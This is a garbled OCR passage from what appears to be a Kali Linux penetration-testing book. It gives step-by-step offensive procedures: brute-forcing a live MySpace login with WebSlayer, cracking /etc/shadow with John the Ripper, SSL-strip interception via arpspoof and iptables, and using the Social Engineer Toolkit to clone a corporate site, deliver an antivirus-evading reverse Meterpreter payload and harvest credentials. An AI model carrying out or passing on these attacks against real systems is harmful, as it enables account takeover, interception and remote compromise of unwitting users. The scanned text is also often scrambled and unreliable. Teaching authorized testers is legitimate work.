Hash: MzFhMDgwMWZjZjBhYmU3ZAfDihnCgl/DgyAeWGQswo3Cn33DnH8Yw6nCsjlUw5BWU3grQExHw6jCsMOKw7vChMKywoHCv8KZw6...

X-Requested-With: XMLHttpRequest

Referer: https:/ / new.myspace.com/signi n
Content-Length: 80

Cookie: MSCulture=IP=68.33.192.126&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=WM=&ForcedE...

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

email=joeymuniz&password=happyjoyjoy&pageld=alc3a0e7-al02-495f-b322-la82b81a6eec

Save All... \J\ Capture _Oear CloseReplay...

EMAIL OR USERNAME

f with Facebook
joeymuniz

with Twitter
PASSWORD

my with Classic Myspace

Forgot password? Q Stay signed in

Sign InDon't have a New Myspace account? Create one now.
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The important parts of information captured from the Live HTTP Headers  
used in WebSlayer are the User-Agent and  as shown in the  
following examples:

The user agent information would go in the headers section and login information 
would go in the post data section. The URL should match the login page. The 
Authentication section provides different levels of security and a space for  
the username.

http://itbookshub.com

e o o Live HTTP headers

Generator Config AboutHeaders

HTTP Headers

POST /ajax/account/signin HTTP/1.1

Host: new.myspace.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: */*
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

0 O O Live HTTP headers

AboutGenerator ConfigHeaders

HTTP Headers

Accept-Encoding: gzip. deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Hash: MzFhMDgwMWZjZjBhYmU3ZAfDihnCgl/DgyAeWGQswo3Cn33DnH8Yw6nCsjlUw5BWU3grQExHw6jCsMOKw7vChMKywoHCv8KZw6...

X-Requested-With: XMLHttpRequest

Referer: https://new.myspace.com/signin

Content-Length: 80

Cookie: MSCulture=IP=68.33.192.126&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=WM=&ForcedE...

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

email-joeymuniz&password-happyjoyjoy&pageld-alc3a0e7-al02-495f-b322-la82b81a6eec

HTTP/1.1 401 Unauthorized

Vary: Accept-Encoding

Set-Cookie: visit_id=4d3fe738-3c9f-4bcd-8446-588fb321cl4f; domain =.myspace.com; path=/; expires=Tue, 30 Apr 2013 15:27:40 ...

I:

Save All... Replay... | 0Capture Clear Close
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The following example shows taking the login information captured in Live HTTP 
Headers while attempting to access myspace. The wrong password is switched to 
the keyword FUZZ so that WebSlayer knows where to attempt the brute-force. The 
Authentication tab has different security options for the example, the authentication 
is set to basic with the username joeymuniz followed by the keyword FUZZ.

You basically input the website, user agent, content, and known username. You  
add the keyword FUZZ where passwords are required and select a dictionary to 
brute-force those login spaces. This is an easy way to automate a brute-force against 
a web server.

myspace uses stronger authentication than the example provided.

Targets with security features such as account locking will most likely not be 
vulnerable to this tool. Advanced security tools such as the IPS/IDS technology would 
most likely be alerted if your targeted were a monitored asset. For these reasons, we 
caution against using WebSlayer on live targets without doing proper Reconnaissance.

http://itbookshub.com

v x WebSlayer

File

Jr Attack setup Payload generator _ Attack results RequesteR Encoder =: Logs Help

Url: | https://new.myspace.com/signin

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rev:20.0) Gecko/20100101 Firefox/20.0

Headers:

email=joeymuniz&password=FUZZ=alc3a0e7-al02-495f0b322-la82b81a6eec

POST Data:

Authentication: | basic | | joeymuniz:FUZZPayload type: | Dictionary T | Inject in all parameters: j Headers Y

3|ÿ1 ordlist/general/big.txt Encoding FUZZ: [
| Encoding FUZ2Z: | html encoder

Dictionary : | None

Dictionary 2: | None

None

zJl«|[

Filtering Discovery options Connection options

Threads: \ 5 * Time delay: |o
Proxy: |

(jj. Start!

] Anonymous browsing

]
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WebSlayer offers the ability to export payloads 

Cracking passwords 
Passwords are the most common method users verify authentication to systems. It 
is common to identify passwords that can access other systems while exploiting a 
target system. Chapter 4, Client-side Attacks, provides a section dedicated to cracking 
passwords with many tools available in Kali. The next section will touch upon 
cracking passwords showcasing a very popular tool available in Kali.

John the Ripper
John the Ripper is the most popular password cracker that is used today. It has 
several engines that allow it crack different types of passwords, including encrypted 
and hashed passwords. John the Ripper has the ability to autodetect most hashes and 
encrypted passwords making the process easier for Penetration Testers. Attackers 

different ways to speed-up password cracking.

http://itbookshub.com

Analysis for: https://new.myspace.com/signin

Analysis date: 2013-04-29 23:53:40

|Code|#Lines|#Words |url
|200 |648L |1354514/ |http://www.thesecnritvhloaaer.com/?Pnhlisher=

|200 |648L |13545W|http://www.theseciiritvhlnqaer.cnm/?wp-html-rend=
|200 |648L |13545W|http://www.thesecuritvbloaaer.com/?wp-cs-dump=
|200 |648L |13545W|http://www.thesecuritvbloaaer.com/?wp-stop-ver=
|200 |648L |13545W|http://www.thesecnrityhloaaer.com/?wp-start-ver=
|200 |648L |13545W|http://www.t.he,secnritvhloaaer.com/?wp-nncheckont=

|200 |648L |13545W|http://www.thesecuritvbloaaer.com/?wp-usr-prop=
|301 p7L |20W |http://www.thesecuritvbloaaer.com/cai-bin

|200 |648L 113545W|http://www.thesecuritvbloaaer.com/?wp-ver-diff=~
|200 |648L |13545W|http://www.thesecnrityhloaaer.com/?wp-ver-info=
|200 |648L |13545W|http://www.thRsecnritvhlnaaer.com/?wp-verifv-link=

Webslayer an OWASP Project
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John the Ripper operates in the following manner:

Attempts cracking passwords with dictionary words
Uses dictionary words with alphanumeric characters appended  
and prepended
Puts dictionary words together
Adds alphanumeric characters to combine words
Runs dictionary words with special characters mixed in
When all else fails, attempts brute-force

Best practice is updating the default dictionary. We found the default wordlist is 
limited (around 3115 words) and in many cases won't crack common passwords. 

open a terminal and issue the word count command, 
active folder. That command is wc -1 FILENAME.

It is common to have duplicate words when downloading and combining multiple 
words lists from the Internet. It's recommended to remove duplicates as well as any 
uppercase letters since John toggles case styles automatically. An example of the 
command to remove uppercase words is:

tr A-Z a-z < CustomWordFile > AllLowerCaseFile

An example of the command to remove duplicates is:

sort -u AllLowerCaseFile > NoDuplicatesOrUpperCase

Verify the new word count by issuing the word count

wc -1 NoDuplicatesOrUpperCase

To open John the Ripper in Kali, go under Password Attacks |  and 
select John. A command-line terminal will open.

Johnny is a GUI for John the Ripper. Johnny is covered in Chapter 4, 
Client-side Attacks.

You can benchmark the speed of John the Ripper by typing john -test to get an 
idea of how fast it will run.

http://itbookshub.com
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NoDuplicatesOrUpperCase, you will need to edit the default wordlist. This can be 
john.conf under the default John the Ripper folder. In 

passwords.lst.

example, you would change it to Wordlist = NoDuplicatesOrUpperCase.lst. The 
john.conf

listed under the $JOHN directory.

to the John directory. Issue the copy command cp John 

Linux systems) type cp  /etc/shadow.

john 
john shadow.

You can check the progress of John the Ripper by pressing Enter, which will display 
the current password being guessed as well as the cracks per second listed as c/s.

You can pause John the Ripper by pressing CTRL and C keys together. If you restart 
John by issuing john FILE

john -show FILE. So to see the 
john -show shadow.

http://www.openwall.com/.

Man-in-the-middle
A man-in-the-middle attack by 
by having an attacker make independent connections with victims. The most 
common form of man-in-the-middle attacks are between host systems. Not too 
long ago, a vulnerability was found that abused the system that moves people from 
insecure to secure web pages. This gives attackers the ability to eavesdrop on users 
connecting to secure web servers. The next section will cover that vulnerability. 
Common man-in-the-middle attacks will be covered in later chapters in this book.

http://itbookshub.com

# Wordlist file name, to be used in batch mode
irdlist = SJOHN/password.lst_
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SSL strip
In 2009 security researcher Moxie Marlinspike at DefCon released SSL strip. He 
introduced the concept of SSL stripping, a man-in-the-middle attack in which a 

via HTTP, which can be intercepted and manipulated. SSL strip automates the attack 

attacks, however deployment of HSTS has been slow, and SSL stripping attacks are 
still widely used today.

For the purposes of this section, we will only be using a single interface; however, 
 

will need to check if there are multiple (virtual) Ethernet interfaces enabled.

In the upper left-hand corner of the desktop, click on the Xterm link to open  
a command terminal. Use ifconfig to determine what interfaces are on the  
virtual machine.

The command is ifconfig | grep "eth"
miscellaneous interfaces and just show us the Ethernet interfaces, as follows:

If we have more than one interface enabled, issue the command ifdown with the 
interface name to disable it. For example, there are interfaces named eth0 and eth1, 
issue the command Ifdown eth0 to disable the eth0 interface. You will disable your 
non-active interface.

http://itbookshub.com

root@kali:~# ifconfig | grep "eth"
eth0 Link encap :Ethernet HWaddr 00 :0c:29:49:

|root@kali:~# if down eth0
Internet Systems Consortium DHCP Client 4.2.2
Copyright 2004-2011 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc .org/software/dhcp/

Listening on LPF/eth0/00:0c :29:49:84:73
Sending on
Sending on
DHCPRELEASE on eth0 to 172.16.76.254 port 67
|Reloading /etc/samba/smb.conf : smbd only.

LPF/eth0/00:0c :29 :49 :84 :73
Socket/fallback
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In order to run the SSL strip man-in-the-middle (MITM) attack, you need two 
pieces of information. First, you need the IP address of the target. Second, you 
need the IP address of the router that acts as the subnet gateway. Since this attack 
method is only effective from the same layer 2 segments as the target, we will  
need to ascertain our own default gateway. To do this, we will need to utilize  
the command terminal once again.

In your terminal session issue the following command:

route –n

command route -n | grep 'UG' | awk '{print $2}' will 
return just the default gateway.

Before we can begin collecting information such as user credentials from SSL sessions, 
we need to get a few tasks accomplished. We need to start the facilities that allow us 

attacking host so that we may forward the user packets to SSL strip. To do this, we 
need to enable IP forwarding in Iptables and Arpspoof.

http://itbookshub.com

|root@kali:~# route -n
Kernel IP routing table
Destination
0.0.0.0
172.16.76.0

Gateway
172.16.76.2

Genmask
0.0.0.0
255.255.255.0
' | awk '{print $2}

Flags Metric Ref Use Iface
0 eth0
0 ethO

UG 0 0
0.0.0.0

rootfflkali:-# route -n I grep ' UG
172.16.76.2
root@kali:~#|

U 0 0

File Edit View Search Terminal Help

rootgkali : ~# route -n | awk '{print $2}'
IP
Gateway
10.0.1.1
0. 0. 0. 0
root@kali:~#|

www.freepdf-books.com



Server-side Attacks

[ 124 ]

 

command-line terminal. Enabling IP Forwarding:

echo 1 > /proc/sys/net/ipv4/ip_forward

For the purposes of this example, we will need to know the victim/target host's IP 

by all the attack hosts. In a real attack scenario, it might be ideal to run arpspoof 
against the entire layer 2 segment (this is the default if the victim's IP is omitted) 

 

potentially jeopardize the attacker's ability to remain unnoticed. The command is:

arpspoof -i eth0 -t victimip default_gateway_ip

It is recommended that you do not send this process to the background and leave  
the window up. Just start a new terminal session.

Setting up port redirection using Iptables
This enables the attacker to grab 
redirect to the SSL strip listener port. In this example, redirection will be on TCP 
10000 for both destination port and redirect destination. The attacker can use any 
applicable value. The redirect destination chosen here must also be used for setting 
the listener port for SSL strip. The command is as follows:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT 
--to-ports 10000

http://itbookshub.com

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

root@kali: "

File Edit View Search Terminal Help

li : a rpspoof -i ethO -t 10.0.1.240 10.0.1.l|
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To disable the PREROUTING rule, replace the –A with –D to clear all table 
rules use.

iptables –t nat –F #to flush

iptables –t nat –L #to check

arpspoof has many options. You can use the command man iptables 
see additional options.

Now you should be set and ready to begin capturing using SSL strip!

Launch sslstrip and from the newly opened command-line window, run the 
following command to start SSL strip listening on port TCP 10000:

sslstrip –l 10000

http://itbookshub.com

I File Edit View Search Terminal Help

|root@kali:~# iptables -t nat -A PREROUTING -p tcp --destination-port 80
ECT --to-ports 10000
root@kali:-# Q

root(giK3ii:

File Edit View Search Terminal Help

root@kali:~# sslst rip -1 10000

sslstrip 0.9 by Moxie Marlinspike running...
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From the target host, browse to an online mail service such as  
https://www.hotmail.com and log in.

Using the application menu shortcut to the SSLStrip directory, open another 
Terminal window and type the following command:

This should now show you the results of the SSL strip attack.

http://itbookshub.com

i + iSign In

QCj *1' Google_

c MacBook Pro: Ho... ffa Apple Of Yahoo! [ J Google Maps

login.live.com/login.srf?wa=wsigninl.O&rpsnv=ll&ct=1354549705&rver=6.1.6206.0&wp=MBI&wreply=http:»

[S* 50* Ableton Liv...fal Most Visited * Getting Started Audiofile Engim » [O Bookmarks *

S Hotma ; I

Microsoft account What's this?

someone@example.com

Password

Keep me signed in

© 0 0
Sign in

Can't access your account?

Sign in with a single-use codeThe entirely new browser
Fast. Fluid. Perfect for touch. Get it with Windows 8.

f sslst rip .log|root@kali:-# tail -n 50
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Note that the username and password have been obscured in the 
following example but should appear in clear text, on your screen.

Summary
This chapter explained various methods to compromise vulnerable web servers 
using tools available in Kali. The most common methods are identifying known 
vulnerabilities with automated tools and exploiting the best possible path to  
gaining access to the target system.

The chapter started off focusing on various tools used to identify vulnerabilities. 
The next topic covered was tools used to exploit vulnerabilities found on common 
servers as well as servers hosting e-mail services. Next, we focused on brute-forcing 
tools that could access data from systems that are not vulnerable to known exploits. 
We concluded touching upon password cracking and man-in-the-middle attacks; 
however, these subjects have dedicated sections in later chapters.

The next chapter will focus on identifying and exploiting vulnerabilities found  
on host systems, also known as client devices.

http://itbookshub.com

root@kali: ~
File Edit View Search Terminal Help

)
SEND L3 ERROR: 2470 byte packet (0800:06) destined to 207.46.4.236 was not forwarded (Tibnet_write_raw_
ipv4(): -1 bytes written (Message too Tong)
)

SEND L3 ERROR: 2470 byte packet (0800:06) destined to 207.46.4.236 was not forwarded (libnet_write_raw
ipv4(): -1 bytes written (Message too long)
)

SEND L3 ERROR: 2119 byte packet (0800:06) destined to 207.46.4.236 was not forwarded (libnet_write_raw
ipv4(): -1 bytes written (Message too long)•2

3s )
& SEND L3 ERROR: 2470 byte packet (0800:06) destined to 207.46.4.236 was not forwarded (libnet_write_raw

ipv4(): -1 bytes written (Message too long)
)
SEND L3 ERROR: 2470 byte packet (0800:06) destined to 207.46.4.236 was not forwarded (libnet_write_raw_
ipv4(): -1 bytes written (Message too long)
)

0105 INFO: http://www.facebook.com/
index .php?stype=lo&jlou=Afd-iEy36Ej Rp-kbdeXNCn3gAuzayU8G6j 9Uf IaMmIdFtiEsD9-zWIhlQpIlX3N0isj aOOVfpMEGYrn
f 3F440 -ZEXeGoPL ruqldBg
SEND L3 ERROR: 1803 byte packet (0800:06) destined to 17.172.116.36 was not forwarded (libnet_write_raw
_ipv4(): -1 bytes written (Message too long)

HTTP : 66.220.158.27:80 -> USER: PASS:

)

User requested a CTRL+C... (deprecated, next time use proper shutdown)

ILi:~#|roo
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Client-side Attacks
The term client or host means an endpoint used to connect to a network, such as a 
computer, a tablet, or a mobile device. A client may offer information, services, and 
applications to other clients or obtain information from another system, such as a 
server. Typically, the term client refers to endpoints used by people. Having people 
involved opens a range of possible vulnerabilities.

Client-side attacks, as it pertains to web applications, is viewed as a method to 
identify who is connecting to web applications, what vulnerabilities exist on those 
systems, and whether those systems can be a means to gain access or information 
from a web application. The focus of this chapter will be identifying systems 
accessing web applications, evaluating systems for vulnerabilities, and exploiting 
those vulnerabilities, if possible. This chapter will focus heavily on compromising 
passwords, as they are the most common methods used to secure host systems.

This chapter will kick-off by covering how to attack hosts using social engineering. 
Later, we will look at how to identify vulnerabilities on host systems so that you can 
exploit those vulnerabilities using tools covered in other sections of this book. We 
will conclude with attacking passwords, because they are the most common means 
to secure host systems.

Social engineering
Humans will always be your weakest links for a target's security posture. The  
more you try to control the end users, the more they will try to bypass policies.  
The less controls you put in place, the less likely that the policies will be followed. 
This creates a double-edge sword when deciding how to protect end users from 
cyber threats. Hackers know this and target end users in various ways that focus  
on compromising a key characteristic of the average user, which is trust.

http://itbookshub.com
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Social engineering is the art of manipulating people into performing actions of 
divulging information. Many client-side attacks are based on tricking an end user 
into exposing their systems to an attack. Social engineering can range from calling 
somebody while pretending to be an authorized employee to posting a link on 
Facebook that claims to be a service while really being a means to compromise  
the client.

Best practices for launching a successful social engineering attack is taking the time 
to understand your target; meaning learn how the users communicate and attempt 
to blend into their environment. Most social engineering attacks that fail tend to be 
written in a generic format, and they don't include a strong hook to attract the victim, 
such as a poorly written e-mail claiming the user is entitled to unclaimed funds. 
Using social media sources such as Facebook is a great way to learn about a target, 
such as what hobbies and speaking patterns targets favor. For example, developing 
traps based on discounted sports tickets would be ideal if a Facebook 
target is covered with the sports team logos.

Because most client-side attacks leverage social engineering, the next section will 
explore a popular social engineering arsenal available in Kali.

Social Engineering Toolkit (SET)
The Social Engineer Toolkit (SET) was created and written by the founder of 
TrustedSec. It is an open-source Python-driven tool aimed at Penetration Testing 
using social engineering. SET is an extremely popular tool used by security 
professionals to test an organization's security posture. Real-life attackers use SET  
to craft active and malicious attacks. It is the tool of choice for the most common 
social engineering attacks.

To launch SET, go to the following link of the menu bar Exploitation Tools | Social 
Engineering Tools, and select se-toolkit.

directly from GitHub. You will be presented with the option of receiving updates 
automatically. Select yes to receive automatic updates.
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SET will ask you to verify that git is installed. Kali comes with git preloaded; 
however, best practice is following the steps in Chapter 1, Penetration Testing and 
Setup, to update Kali. Updates will include a version of git required for SET to work.

Kali 1.0 doesn't include the .git directory. To update, you should follow the 
following steps:

1.	 Open a terminal and navigate to cd /usr/share.
2.	 Backup the old set directory by typing mv set backup.set.
3.	 Re-download SET from GitHub using the following command:

git clone https://github.com/trustedsec/social-engineer-toolkit/ 
set/

4.	 Salvage the old config
cp backup.set/config/set_config set/config/set_config

http://itbookshub.com

/v v x Terminal

File Edit View Terminal Help

The Social-Engineer Toolkit is designed purely for good and not evil. If you are
planning on using this tool for malicious purposes that are

not authorized by the company you are performing assessments for, you are violat
ing the terms of service and license of this toolset. By hitting
yes (only one time), you agree to the terms of service and that you will only us
e this tool for lawful purposes only.

Do you agree to the terms of service [y/n]: y

(!] The Social-Engineer Toolkit has officially moved to github and no longer use
s SVN.
[!] Ensure that you have GIT installed and this conversion tool will automatical
ly pull the latest git version for you.
[!] Do you want to do a manual install or have SET do the conversion to GIT for
you?

1. Automatic
2. Manual
3. Continue using SET (NO UPDATES ANYMORE!)

[Enter your numeric choice:|_

|root@kali:/usr/share# cd /share
root@kali:/usr/share# mv set backup.set
root@kali:/usr/share# git clone https://github.com/trustedsec/social-engineer-toolkit
/ set/

psSnu’rob).c,,: B9Rz«n n n nryinnn
remote: Compressing objects: 100% J3100/3100) , done. N l U J/ A \
remote: Total 8970 (delta 5956), reused 8870 (delta 5857)

Receiving objects: 100% (8970/8970), 46.19 MiB | 2.58 MiB/s, done.
Resolving deltas: 100% (5956/5956), done.
|root@kali: /usr /share#
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5.	 Verify that SET works using the command se-toolkit.

Now that you understand some of the basic dynamics of how SET works, let's 
compromise a client machine using a website they might trust. Although we can  
use any website, we recommend something that is simple.

Here is an example of cloning a corporate SharePoint site with the intention of 
exploiting the victim by loading a meterpreter. In reality, it can be any website you 
want to compromise. We chose a SharePoint site because as a Penetration Tester you 
will most likely want to use a target that will achieve your goal. Many attackers for 
nefarious purposes may use a public website to clone.

http://itbookshub.com

root@kali:/usr/share# cp backup .set/config/set_config set/config/set_config
root@kali:/usr/share# se-toolkit

IMPORTANT NOTICE! The Social -Engineer Toolkit has made some significant
changes due to the folder structure of Kali and FSH (Linux) .

All SET dynamic information will now be saved in the -/.set directory not
in src/program_j unk .

[!] Please note that you should use se-toolkit from now on.
[!] Launching set by typing 'set' is going away soon...
[!] If on Kali Linux, just type 'se-toolkit' anywhere...
[!] If not on Kali, run python setup.py install and you can use se-toolkit anywhere..

Press {return} to continue into SET.|

LOG IN

£ (jsername

f* Password

Login Register Forgot vour password?

This is a private, company owned system. Unauthorized use is not permitted.
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The next step is launching SET by going to Exploitation Tools | Social Engineering 
Toolkit | se-toolkit.

Once you accept all the licenses and terms of services, you will see the main screen 
for SET.

http://itbookshub.com

.M"""bad '7MM
Y MM

YMM MMP""MM””YMM
'7 P' MM '7MI;

MM d
YMMNq. MMmmMM

'MM MM Y
dM MM

p"Ybmmd" . DMMmmmrrWMM . JMML.

MMb. MM
MM
MM

Mb ,M MM

[---] The social -Engineer Toolkit (SET)
created by: David Kennedy (ReLlK)

version: 5.0.10
codename: 'The wild west'

Follow us on Twitter:
Follow me on Twitter: @dave_rellk

Homepage: https ://www. trustedsec. com

welcome to the social -Engineer Toolkit (SET). The one
stop shop for all of your social -engineering needs.

loin us on irc.freenode.net in channel #setoolkit

The social -Engi neer Toolkit is a product of Trustedsec.

visit: https://www.trustedsec.com

select from the menu:

[---J[---] [---J[---] [™]
[---J [---][---] [---][---] [---][---] [---]

1) social -Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) update the Metasp
5) update the social
6) Update SET configuration
7) Help, Credits, and About

99) Exit the social -Engineer Toolkit

set> l|

loit Framework
-Engineer Toolkit
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It is recommended to select the  option prior 
to using SET. Once updated, select option . The 
next screenshot shows the different website attack vectors available under Social-
Engineering Attacks in SET. The spear-phishing option is a popular attack offering 
the ability to embed attacks into e-mails and PDFs. The spear-phishing attack sends 

For this example, we will select Website Attack Vectors, because we previously 
cloned a website for a website-based attack. Next, we need to determine how to 
deliver the payload. There are several options available. Choose the Java Applet 
Attack, which is normally option 1.

http://itbookshub.com

[—] The social -Engineer Toolkit (SET)
created by: David Kennedy (ReLlK)

version: 5.0.10
codename: 'The wild west'

Follow us on Twitter: ©trustedsec
Follow me on Twitter: @dave_rellk

Homepage: https://www. trustedsec. com

Welcome to the social -Engineer Toolkit (SET). The one
stop shop for all of your social-engineering needs.

loin us on irc.freenode.net in channel #setoolkit

The social -Engi neer Toolkit is a product of Trustedsec.

visit: https://www.trustedsec.con

select from the menu:

[---][---] [—]
[—] [---][---] [---][---] [---][—] [---][---] [---]

1) spear -Phishing
2) Website Attack
3) infectious Media Generator
4) create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack vector
7) SMS spoofing Attack vector
8) wireless Access Point Attack vector
9) QRCode Generator Attack vector

10) Powershell Attack vectors
11) Third Party Modules

99) Return back to the main menu.

set> 2|

Attack Vectors
Vectors
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SET will ask if you would like to use an existing template that comes with SET, or 
if you would like to clone a website. The default templates are not good, and it is 
recommended to clone a website such as the SharePoint example previously provided.

On the next screen, SET will present several options on how the user can copy 
the website. In this example, we will use the site-cloner option. Select site-cloner, 
and SET will provide a series of questions. These questions will walk you through 
cloning a website and having it run from Kali. Site-Cloner will request the following:

NAT/Port forwarding: This option tends to confuse people. SET is asking 

on your Kali server or if the victims will connect to a different IP address 
(such as a NAT address). This really comes into play when you are attacking 
people outside your network or on the Internet. Select yes if you are attacking 
victims outside your network. Type no if you are attacking victims on the 
same network, such as an internal lab.

http://itbookshub.com

0Attack vectors
11) Third Party Modules

99) Return back to the main menu.

o Powershe

set> 2

The web Attack module is a unique way of utilizing multiple web-based attacks
in order to compromise the intended victim.

lava Applet Attack
metasploit Based payload, uses a customized java applet created by Thomas
werth to deliver the payload.

The Metasploit Browser Exploit mei
browser exploits through an iframe and deliver a Metasploit payload.

credential Harvester
site that has a username and password field and harvest all the
information posted to the website.

The TabNabbing
tab, then refresh the page to something different.

Man Left in the Middle Attack
utilizes HTTP REFERER's in order to intercept fields and
data from them. You need to have an already
corporate <script src="http://YOURlP/">. This could either be from a

through xss.

web-lacking Attack
and the Back|Track team. This method utilizes iframe replacements to
make the highlighted URL link to appear legitimate however when clicked
a window pops up then is replaced with the malicious link. You can edit
the link replacement settings in the set_config if its too slow/fast.

Multi -Attack
menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing , and the Man Left in the Middle attack
all at once to see which is successful.

KOS andlarvest
vulnerable site and in-

compromised site or

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) credential Harvester Attack Method
4) Tabnabbing Attack Method
5) web Jacking Attack Method
6) Multi -Attack web Method
7) create or import a codesigning certificate

99) Return to Main Menu

set :webattack>l|
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IP address/hostname for reverse connection: When SET delivers its payload 
to the victim, SET needs to tell the victim how to connect back to Kali. In a 
lab environment, you can type in the IP address of your Kali server.
URL you want to clone: This is the website you are copying.
Exploit to deliver: SET will use the Metasploit framework to deliver the 
exploit. The most popular option is the . 
The Windows Reverse_TCP Meterpreter works by having a victim run an 
executable that establishes an open port for an attacker to connect back 
through to gain full shell access to the victim's PC. The following screenshot 
shows the payloads available. The Windows Reverse_TCP Meterpreter is the 
second option listed.

You can import your own executable. This is generally used by 
attackers or other people writing their own tools/malware.

SET will ask to select what type of anti-virus obfuscation technique you would like 
to use. SET will display a rating next to each technique. Select a highly -rated option, 

options. We will go with option 16, because it has the best ranking.

http://itbookshub.com

]
what payload do you want to generate:

Name:

1) Windows shell Reverse_TCP

o attacker
2) Windows Reverse_TCP Meterpreter

ck to attacker
3) windows Reverse_TCP VNC DLL

ttacker
4) windows Bind shell

remote system
5) Windows Bind shell X64
6) windows Shell Reverse_TCP X64
7) Windows Meterpreter Reverse_TCP X64

erpreter
8) windows Meterpreter All Ports

(every port)
9) windows Meterpreter Reverse HTTPS

e Meterpreter
10) windows Meterpreter Reverse DNS

wn Meterpreter
11) SE Toolkit interactive shell

SET
12) SE Toolkit HTTP Reverse shell

pport
13) RATTE HTTP Tunneling Payload

mms over HTTP
14) shellcodeExec Alphanum shell code

ellcodeexec
15) Pyinjector shell code injection

injector
16) Multi Pyinjector shell code Injection

memory
17) import your own executable

set :payloads>B

Description:

spawn a command shell on victim and send back t

spawn a meterpreter shell on victim and send ba

Spawn a VNC server on victim and send back to a

Execute payload and create an accepting port on

Windows x64 command shell, Bind TCP inline
windows X64 command shell, Reverse TCP inline
Connect back to the attacker (Windows x64) , Met

Spawn a meterpreter shell and find a port home

Tunnel communication over HTTP using SSL and us

use a hostname instead of an IP address and spa

Custom interactive reverse toolkit designed for

Purely native HTTP shell with AES encryption su

Security bypass payload that will tunnel all co

This will drop a meterpreter payload through sh

This will drop a meterpreter payload through Py

This will drop multiple Metasploit payloads via

Specify a path for your own executable
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SET will ask which listener port should be used. In most cases, stick with the default 
ports. After the last question is answered, SET will bring up the cloned website.

The new cloned website can be used as a means to compromise targets. You need 
to trick users into accessing the cloned website using an Internet browser. The user 
accessing the cloned website will get a Java pop-up, which if run, will provide a 
Reserve_TCP Meterpreter to your Kali server. The attacker can start a meterpreter 
session and have full admin privileges on the device accessing the cloned website.
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3windows Reverse_TCP VNC DLL spawn a VNC server on victim and sei

Execute payload and create an accepting port on

windows x64 command shell, Bind TCP inline
windows X64 command shell, Reverse TCP inline
connect back to the attacker (windows x64) , Met

spawn a meterpreter shell and find a port home

Tunnel communication over HTTP using SSL and us

use a hostname instead of an IP address and spa

custom interactive reverse toolkit designed for

Purely native HTTP shell with AES encryption su

security bypass payload that will tunnel all co

This will drop a meterpreter payload through sh

This will drop a meterpreter payload through Py

This will drop multiple Metasploit payloads via

specify a path for your own executable

ack to
ttacker

4) windows Bind shell
remote system

5) windows Bind Shell X64
6) windows shell Reverse_TCP X64
7) windows Meterpreter Reverse_TCP X64

erpreter
8) windows Meterpreter All Ports

(every port)
9) windows Meterpreter Reverse HTTPS

e Meterpreter
10) windows Meterpreter Reverse DNS

wn Meterpreter
11) SE Toolkit interactive shell

SET
12) SE Toolkit HTTP Reverse shell

pport
13) RATTE HTTP Tunneling Payload

mms over HTTP
14) shellcodeExec Alphanum shellcode

ellcodeexec
15) Pylnjector shell code injection

injector
16) MultiPyinjector shellcode injection

memory
17) import your own executable

set :payloads>2

typically
most still get picked up by AV. You may need to do additional packing/crypting
in order to get around basic AV detection.

1) avoid_utf8_tolower (Normal)
2) shikata_ga_nai (very Good)
3) alpha_mixed (Normal)
4) alpha_upper (Normal)
5) call4_dword_xor (Normal)
6) countdown (Normal)
7) fnstenv_mov (Normal)
8) jmp_call_additive (Normal)
9) nonalpha (Normal)

10) nonupper (Normal)
11) unicode_mixed (Normal)
12) unicode_upper (Normal)
13) alpha2 (Normal)
14) No Encoding (None)
15) Multi -Encoder (Excellent)
16) Backdoored Executable (BEST)

set :encodi ng>16B

select one of the below, ' backdoor ed executable' is the best. However,
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The client machine will see a simple Java pop-up message that looks normal and 
should go unnoticed by the average user as shown in the following screenshot:

The moment the end user runs the Java applet from the cloned website, the Kali 
server will connect to the victim's machine as shown in the following screenshot:

The next example is a screenshot showing that SET can interact with the meterpreter 
session and issue commands directly to our victim:

http://itbookshub.com

LOG IN

A*

xjWarning - Security

The application's digital signature cannot be verified.
Do you want to run the application?

Trusted Java Applet (VERIFIED SAFE)Name:Login

Publisher UNKNOWN
This is a private, comparl

http://10.255.27.200From:

I- Iflways trust content from this publisherJ

Cancel |Run

This application will run with unrestricted access which may put
your personal information at risk. Run this application only if you

trust the publisher.! More Information...

[*] sending stage (

Meterpreter session 1 opened (10.255.27.200:443 -> 10.62.3.137:49401) at 2013-05-04 19:43:51 -0500
Sending stage (752128 bytes) to 10.62.3.137

[*] Sending stage (752128 bytes) to 10.62.3.137
[*] Sending stage (752128 bytes) to 10.62.3.137
[*J Sending stage (752128 bytes) to 10.62.3.137
[*1 Sending stage (752128 bytes) to 10.62.3.137
[*] Meterpreter session 2 opened (10.255.27.200:25
"

Meterpreter session 3 opened (10.255.27.200:443 -> 10.62.3.137:49404) at 2013-05-04 19:43:54 -0500
Meterpreter session 4 opened (10.255.27.200:21
Meterpreter session 5 opened (10.255.27.200:8080 -> 10.62.3.137:49405) at 2013-05-04 19:43:55 -0500
Meterpreter session 6 opened (10.255.27.200:53 -> 10.62. 3.137 :49407) at 2013-05-04 19:43:55 -0500

8 bytes) to

FJ

10.62.3.137:49402) at 2013-05-04 19:43:54 -0500

n 10.62.3.137:49406) at 2013-05-04 19:43:54 -0500

FJ
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You can have multiple sessions with the meterpreter. In this example, we used the 
command sessions –I 1
session of the meterpreter. If we had multiple hosts compromised, we could have 
multiple meterpreter sessions, interact with them, switch between them, or close 
them individually.

Now that we have learned some of the basics of using SET, let's look at one more 
example. We are going to look at cloning a website for the purposes of stealing  
a password.

This time when we get to the attack options, we will select credential harvester attack. 
Social Engineering 

Attacks, Website Attack Vectors, and then .

http://itbookshub.com

handler
